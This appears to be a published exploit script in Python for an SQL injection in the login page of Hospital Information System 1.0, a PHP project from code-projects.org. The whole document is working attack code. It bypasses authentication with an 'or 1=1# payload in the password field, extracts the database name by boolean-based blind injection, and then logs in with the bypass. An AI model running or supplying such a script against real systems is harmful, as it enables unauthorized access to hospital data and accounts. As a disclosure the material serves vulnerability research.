Hospital Information System 1.0 SQL Injection

`# Exploit Title: Hospital Information System - SQL Injection via login page  
# Date: 25/07/2022  
# Exploit Author: saitamang  
# Vendor Homepage: https://code-projects.org  
# Software Link: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip  
# Version: 1.0  
# Tested on: Centos 7 apache2 + MySQL  
  
  
import requests, string, sys, warnings, time, concurrent.futures  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
warnings.simplefilter('ignore',InsecureRequestWarning)  
  
dbname = ''  
  
req = requests.Session()  
  
def login(ip,username,password):   
target = "http://%s/HIS/includes/users/UsersController.php" %ip  
  
data = {'type':'login','username':username,'password':password}  
response = req.post(target, data=data)  
  
if 'success' in response.text:  
print("[$] Success Login with credentials "+username+":"+password+"")  
else:  
print("[$] Failed Login with credentials "+username+":"+password+"")  
  
def check_injection():  
# library inj  
test_query0 = "'or 1=2#"  
test_query1 = "'or 1=1#"  
  
target = "http://%s/HIS/includes/users/UsersController.php" %ip  
  
result = ""  
  
for i in range(2):  
  
if i==0:  
data = {'type':'login','username':username,'password':test_query0}  
response = req.post(target, data=data)  
if response.text=="success":  
result = response.text  
else:  
pass  
if i==1:  
data = {'type':'login', 'username':username,'password':test_query1}  
response = req.post(target, data=data)  
if response.text=="success":  
result = response.text  
else:  
pass  
if result=="success":  
print("[##] SQLI Boolean-Based Present at password field :)")  
else:  
print("[##] No SQLI :)")  
  
def brute(dbname):  
target = "http://%s/HIS/includes/users/UsersController.php" %ip  
  
l=0  
  
no = [int(a) for a in str(string.digits)]  
# checking length of dbname  
for i in no: # 0-9  
  
payload = "'or 1=1 and length(database())='"+ str(i) +"'#"  
#print(payload)  
  
data = {'type':'login','username':username,'password':payload}  
response = req.post(target, data=data)  
result = response.text  
  
if result=="success":  
print("[##] The correct length of DB name is "+str(i))  
l=i  
break  
else:  
print("[##] The length of DB name "+str(i)+" is wrong")  
pass  
  
char = [char for char in string.ascii_lowercase]  
dbname = []  
  
for i in range(l):  
for j in char:  
payload = "'or 1=1 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"  
  
data = {'type':'login','username':username,'password':payload}  
response = req.post(target, data=data)  
result = response.text  
  
if result=="success":  
dbname.append(j)  
print("[+] The " + str(i+1) + " char of DB name is "+str(j))  
break  
else:  
pass  
  
dbname = ''.join(dbname)  
  
print("[+] Database name retrieved --> "+dbname)  
print("[+] Bypass completed :)")  
print("[+] Bypass payload can be used is \n'or 1=1#")  
  
password = "'or 1=1#"  
print("\nRetry to login with new payload in password field")  
login(ip,username,password)  
  
if __name__ == "__main__":  
print(" _____ _ __ ")  
print(" / ___/____ _(_) /_____ _____ ___ ____ _____ ____ _")  
print(" \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")  
print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")  
print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / ")  
print(" /____/ \n\n")  
  
try:  
ip = sys.argv[1].strip()  
username = sys.argv[2].strip()  
password = sys.argv[3].strip()  
  
login(ip,username,password)  
check_injection()  
brute(dbname)  
  
except IndexError:  
print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])  
print("[-] Example: %s 192.168.100.x admin admin123" % sys.argv[0])  
sys.exit(-1)  
`